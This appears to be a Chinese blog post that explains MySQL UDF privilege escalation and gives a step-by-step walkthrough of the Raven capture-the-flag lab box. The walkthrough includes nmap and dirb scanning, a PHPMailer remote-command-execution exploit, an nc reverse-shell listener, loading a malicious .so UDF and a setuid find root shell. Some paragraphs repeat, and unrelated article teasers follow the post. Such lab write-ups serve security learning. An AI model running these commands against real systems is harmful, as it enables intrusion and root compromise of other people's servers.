udf提权

article/2025/9/2 4:11:03

udf提权

什么是udf

udf = “user defined function”,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就像使用本地MYSQL函数如abs()或concat()。udf在mysql5.1以后的版本中,存在于’mysql/lib/plugin’目录下,文件后缀为’.dll’

如何使用udf?

假设我的udf文件名为‘udf.dll’,存放在Mysql根目录(通过select @@basedir可知)的‘lib/plugin’目录下。在udf中,我定义了名为sys_eval的mysql函数,可以执行系统任意命令。如果我现在就打开mysql命令行,使用select sys_eval(‘dir’);的话,系统会返回sys_eval()函数未定义。因为我们仅仅是把‘udf.dll’放到了某个文件夹里,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。

官方实例:

image-20200704183408625

# 实例
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

只有两个变量,一个是function_name(函数名),我们想引入的函数是sys_eval。还有一个变量是shared_library_name(共享包名称),即‘udf.dll’。
至此我们已经引入了sys_eval函数,下面就是使用了。
这个函数用于执行系统命令,用法如下:

select sys_eval('cmd command');

只有两个变量,一个是function_name(函数名),我们想引入的函数是sys_eval。还有一个变量是shared_library_name(共享包名称),即‘udf.dll’。
至此我们已经引入了sys_eval函数,下面就是使用了。
这个函数用于执行系统命令,用法如下:

使用udf提权

现在我们已经知道了udf是什么,以及如何引入udf。下面我们要关注的就是提权了。其实到这里,提权已经结束了,因为对于sys_eval()函数,其中的指令是直接以管理员的权限运行的,所以这也就是最高权限了。
下面来整理一下思路:

  1. 将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
  2. 从udf文件中引入自定义函数(user defined function)
  3. 执行自定义函数

先看第一步,拿到一个网站的webshell之后,在指定位置创建udf文件。如何创建?先别忘了,现在连源udf文件都没有。sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本,否则会显示:Can’t open shared library ‘udf.dll’。获取sqlmap的udf请看链接:

MySQL 利用UDF执行命令

mysql -u root -p 'R@v3nSecurity' # 进入mysql
use mysql;   # 切换数据库
create table foo (line blob); # 新建一个表,用来存放本地传来的udf文件的内容
insert into foo values(load_file('/tmp/1518.so')); # 在foo中写入udf文件内容
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';  # 将udf文件内容传入新建的udf文件中,这里的dumpfile要和用linEnum.sh查看的mysql的路径一致
# windows中,对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\,linux中,5.1以上lib\plugin
create function do_system returns integer soname '1518.so'; # 导入udf函数
select do_system('chmod u+s /usr/bin/find');
create table foo(line blob);  
# 给 find 命令加上 setuid 的标志,然后调用find的-exec指令来执行命令
quit; # 退出mysql

动态链接库

动态链接库:是把程序代码中会使用的函数编译成机器码,保存在.dll文件中。在编译时,不会把函数的机器码复制一份到可执行文件中。编译器只会在.exe的执行文件里,说明所要调用的函数放在哪一个*.dll文件。程序执行使用到这些函数时,操作系统会把dll文件中的函数拿出来给执行文件使用。

提权分析

udf是Mysql常见提权的方式之一。前提是已知mysql中root的账号密码,我们在获取到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。利用root权限,创建带有cmd函数的’udf.dll’(动态链接库).当我们把’udf.dll导出指定文件夹引入mysql时,其中的调用函数拿出来当做mysql的函数使用,这样我们自定义的函数就被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权。

靶机实验

0x01 存活主机

arp-scan -l
或
netdiscover -r 192.158.72.0/24
也可以用nmap进行探测
探测子网:nmap -sn -v 192.168.140.*

image-20200703090356641

0x02 端口探测

-A:使用所有高级扫描选项
-v:得到更多选项信息
vuln:负责检查目录机是否有常见的漏洞(Vulnerability)
-T4: 快速扫描(可以加快执行速度)
nmap -A -v -p 22,80,111, 192.168.72.207 --script=vuln -T4

发现22,80,111端口开发,其中80端口有一个web应用,通过web进入系统,其中22端口可以尝试爆破

0x03 目录扫描

在linux下可以使用dirb进行爆破,或者gobuster dirb http://192.168.72.207(这个是递归扫描,需要安装go环境)

发现几个敏感文件,发现http://192.168.72.207/vendr 存在任意文件遍历

image-20200703100612071

并且在PATH目录下隐藏了一个flag,还得知真个网站搭建在/var/www/html/目录下:

image-20200703100551517

并且发现了PHPMailerAutoload.php这个显眼的文件,直接想到PHPMailer命令执行漏洞。观察目录下VERSION版本信息是5.2.16版本漏洞

0x04 PHPMailer<5.2.18-远程命令执行

漏洞分析:https://www.anquanke.com/post/id/85295

在kali上可以直接通过serachsploit进行搜索phpmailer存在漏洞的exp

image-20200703101248167

我们选取python版本的shell,将shell拷贝到当前目录下

cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./

接下要修改一下exp,来使用,修改如下:

image-20200703114141291

PS:如果没有安装requests-toolbelt,可以使用一下命令安装

pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple requests-toolbelt

执行exp成功,可以看到contact.php

image-20200703114425317

kali监听访问后门文件反弹shell:nc -lvp 4444

浏览器访问后门文件qwer.php

image-20200703114600788

监听成功

image-20200703114728256

shell已经反弹成功,我们用如下命令生成一个交互式shelll,翻看目录,在wordpress/wp-content.php 文件中找到了数据库账号密码:root/R@v3nSecurity

 python -c 'import pty;pty.spawn("/bin/bash")' 

image-20200703114942426

查看一下mysql的运行权限,可以看到mysql运行权限是root运行,并且也显示了mysql的plugin目录

看一下mysql版本号

image-20200704160020716

ps -ef|grep mysql

image-20200704155012793

进入网站目录页面发现存在flag2.txt

image-20200704155121838

0x06 全局搜索

find / -type f -name 'flag[3-4].*' 2>/dev/null  

image-20200704155727927

flag3是图片

image-20200704155757646

0x07 udf提权

改Mysql是以root身份运行,此版本的Mysql是5.5,搜索得到,MySQL利用远程root代码执行提权

更多信息参考MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662

搜索UDF动态库漏洞利用程序,并在漏洞利用数据库中将其命名为“1518.c”

exploit-1518

该漏洞利用的是通过将原始C代码编译为“.so”文件,然后将其传输到受害者计算机并利用Mysql漏洞来运行的

第一步是对其进行编译

image-20200704162034755

将该“.so”文件传输到受害者计算机的/tmp目录下

22222

image-20200704162154759

LinEnum

脚本化的linux本地枚举和权限提升检测
隐私访问:判断当前用户是否能不使用密码执行sudo访问;能否访问root用户的home目录。
系统信息:主机名,网络信息,当前IP等。
用户信息:当前用户,列出所有用户的uid/gid信息,列出root用户,检查密码hash是否保存在/etc/passwd。

将文件传输到计算机/tmp目录下面

image-20200704181708750

./LinEnum.sh
# 在查出结果中的一条数据中
datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=root --log-

下载好exp的so文件,使用命令登录mysql,利用漏洞和mysql命令行以及so文件进行提权

mysql -u root -p 'R@v3nSecurity'  进入mysql
use mysql;    切换数据库
create table foo(line blob);  新建一个表,用来存放本地传来的udf文件的内容
insert into foo values(load_file('/tmp/1518.so'));  在foo中写入udf文件内容
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';    将udf文件内容传入新建的udf文件中,这里的dumpfile要和用linEnum.sh查看的mysql的路径一致
# windows中,对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\,linux中,5.1以上lib\plugin
create function do_system returns integer soname '1518.so';  导入udf函数
select do_system('chmod u+s /usr/bin/find');
create table foo(line blob);find 命令加上 setuid 的标志,然后调用find的-exec指令来执行命令
quit; 退出mysql

除了 do_system 外还可以使用其他函数:

sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。

find 是我们很常用的一个Linux命令,但是我们一般查找出来的额并不仅仅是看看而已,还会有进一步的操作,这个时候exec的作用就显现出来了。

-exec 参数后面跟的是 command 命令,它的终止是以“;”为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以前面加反斜杠。

开始提权并读取最后的flag4

www-data@Raven:/var/www/html$ touch lucifer11
touch lucifer11
www-data@Raven:/var/www/html$ find lucifer11 -exec "whoami" \;
find lucifer11 -exec "whoami" \;
root
www-data@Raven:/var/www/html$ find lucifer11 -exec "id" \;
find lucifer11 -exec "id" \;
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
www-data@Raven:/var/www/html$ find lucifer11 -exec "/bin/sh" \;
find 1 -exec "/bin/sh" \;
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
# cd /root
cd /root
# ls
ls
flag4.txt
# cat flag4.txt

http://chatgpt.dhexx.cn/article/NV6RLOF2.shtml

相关文章

URDF

Solidworks模型转化为URDF文件格式三连杆机械臂示例逆运动学 https://blog.csdn.net/gpeng832/article/details/73917487 关于SolidWorks导出URDF模型的总结 https://blog.csdn.net/mt_lixinzeng/article/details/80268572 Rviz: RobotModel --Status: Error :如果关节是活动…

Mysql之UDF提权

前言 mysql提权的几种方式 udf提权&#xff08;常用&#xff09;mof提权开机启动脚本&#xff08;启动项提权&#xff09; 提权目的&#xff1a;mysql权限 —> 操作系统权限 UDF提权 有时候我们通过一些方式获取了目标主机mysql的用户名和密码&#xff0c;并且可以远程连…

UDAF和UDF的介绍

目录 UDF介绍 UDAF简介 关于UDAF的一个误区 使用UDF 在SQL语句中使用UDF 直接对列应用UDF&#xff08;脱离sql&#xff09; UDAF使用 继承UserDefinedAggregateFunction 继承Aggregator UDF介绍 UDF&#xff08;User Define Function&#xff09;&#xff0c;即用户自…

FLUENT UDF并行化(1)

来源&#xff1a;ANSYS FLUENT UDF帮助文档&#xff0c;翻译自用&#xff0c;如有错误&#xff0c;欢迎指出&#xff01; 本章概述了并行ANSYS Fluent的用户定义函数&#xff08;UDF&#xff09;及其用法。有关并行UDF功能的详细信息&#xff0c;请参见以下部分&#xff0c;本…

FLUENT UDF并行化(2)

来源&#xff1a;ANSYS FLUENT UDF帮助文档&#xff0c;翻译自用&#xff0c;如有错误&#xff0c;欢迎指出&#xff01; 本章概述了并行ANSYS Fluent的用户定义函数&#xff08;UDF&#xff09;及其用法。有关并行UDF功能的详细信息&#xff0c;请参见以下部分&#xff0c;本…

udf开发入门(python udf、hive udf)

开发前的声明 udf开发是在数据分析的时候如果内置的函数解析不了的情况下去做的开发&#xff0c;比方说你只想拆分一个字段&#xff0c;拼接一个字段之类的&#xff0c;就不要去搞udf了&#xff0c;这种基本的需求自带函数完全支持&#xff0c;具体参数可参考文档&#xff1a; …

UDF的入门科普

新入门的小伙伴们好像对udf有一些疑问&#xff0c;那么今天就给大家整理一些udf的学习资料供大家参考。&#xff08;公众号&#xff1a;刘华强仿真笔记&#xff09; 01 UDF的基本概念 UDF的定义? UDF 是用户自己用C语言写的一个函数&#xff0c;可以和FLUENT动态链接 用UDF…

FLUENT中初识UDF——UDF的简单使用(1)

FLUENT中初识UDF——UDF的简单使用&#xff08;1&#xff09; 注意&#xff1a;不包含其他ANSYS基本操作流程&#xff01;&#xff01;&#xff01;1&#xff1a;UDF的编写&#xff1a;2&#xff1a;ANSYS中导入UDF函数&#xff1a;2.1&#xff1a;首先打开Fluent&#xff0c;导…

对window的注册表进行优化

Regclean pro是一款优秀的注册表扫描、清理工具&#xff0c;由微软金牌合作伙伴Systweak开发。 它具有强大的Windows注册表检测及修复功能&#xff0c;可以帮助用户轻松而有效的清理、修复Windows 系统注册表中缺省的、被破坏的或残缺的系统参数&#xff0c;轻松提升系统性能。…

Windows注册表基本管理配置

一.注册表优化 注册表的优化分为几点: 1.系统安装是产生的无用信息 &#xff08;1&#xff09; 删除多余的时区 路径&#xff1a;计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones 删除除了China Standard Time中国时区以外的其他时区…

Windows与网络基础-19注册表维护与优化

目录 一、注册表维护 1.1注册表被破坏后的常见现象 1.2注册表被破坏的原因 1.3备份注册表 1.4恢复注册表 1.5锁定和解锁注册表 二、注册表的优化 2.1删除多余的DLL文件 2.2安装卸载应用程序的垃圾信息 2.3系统安装时产生的无用信息 2.3.1删除多余时区&#xff08;必…

Win7注册表优化工具箱

软件名称&#xff1a;Win7注册表优化工具箱 软件版本&#xff1a;1.0.0.0 软件大小 1.04MB 适用环境&#xff1a; win7 软件性质&#xff1a; 国产软件 - 系统工具 - 优化设置 下载地址 http://pan.baidu.com/share/link?shareid104303&uk4160867570# 本文转自hai…

windows注册表

第一课 注册表基础 一、什么是注册表 注册表是windows操作系统、硬件设备以及客户应用程序得以正常运行和保存设置的核心“数据库”&#xff0c;也可以说是一个非常巨大的树状分层结构的数据库系统。 注册表记录了用户安装在计算机上的软件和每个程序的相互关联信息&#…

玩转电脑|盘点一下Windows 10 注册表系统优化【 InsCode Stable Diffusion 美图活动一期】

目录 什么是注册表 组成 Windows 注册表的层次结构 如何在 Windows 11/10 中创建注册表项 1、使用注册表编辑器 2、使用命令行 3、使用记事本创建REG文件 注意&#xff1a;在本文中主要就是使用记事本创建REG文件来修改。 注册表代码 修改状态栏透明度 任务栏时间显…

计算机系统的优化具体操作,注册表优化电脑内存的详细操作步骤

注册表优化电脑内存 当我们在使用电脑出现内存不足的情况下&#xff0c;通常会选择升级内存的方式来解决相关问题。而加了一个内存条之后&#xff0c;通常你会发现运行速度并没有等到比较显著的改善。只有在运行一些大程序的时候才能感觉到有所提升。这是因为系统会照顾到使用低…

win10清理注册表的方法

如果不需要某款软件之后&#xff0c;我们将其从电脑上卸载之后&#xff0c;如果不清理干净注册表信息的话可能日积月累会对电脑运行造成影响。那么win10如何清理注册表多余信息呢&#xff1f;今天小编就教下大家win10清理注册表的方法。 具体的方法如下&#xff1a; 1、在桌面…

Reg Organizer v8.75 注册表及系统清理优化工具

前言 Reg Organizer是一个非常好用的编辑、整理注册表文件软件&#xff0c;在导入reg文件前&#xff0c;会先分析结构&#xff0c;供您确认。它是一个功能丰富的应用程序&#xff0c;旨在编辑、清理和维护注册表&#xff0c;修复系统中的错误&#xff0c;并提高计算机性能。深…

暴力解决注册表删不掉的问题

今天在使用注册表编辑器修改注册表权限的时候&#xff0c;不小心把所有用户对某个注册表的权限全部拒绝了。等到我再想修改的时候&#xff0c;右键点击该文件&#xff0c;选择了“权限”后&#xff0c;弹出的编辑界面的“组或用户名”一栏中没有出现任何内容。倒腾了半天也实在…

Windows与网络基础:注册表基础和注册表维护与优化

学习目标 1.理解注册表概念 2.掌握注册表维护及优化方法 目录 一、注册表基础1、概述2、早期的注册表3、Windows 95后的注册表4、注册表结构4.1、注册表以树状结构进行呈现4.1.1子树&#xff08;实际只有两棵子树&#xff0c;为了方便操作&#xff0c;分成了5棵子树)4.1.2、项…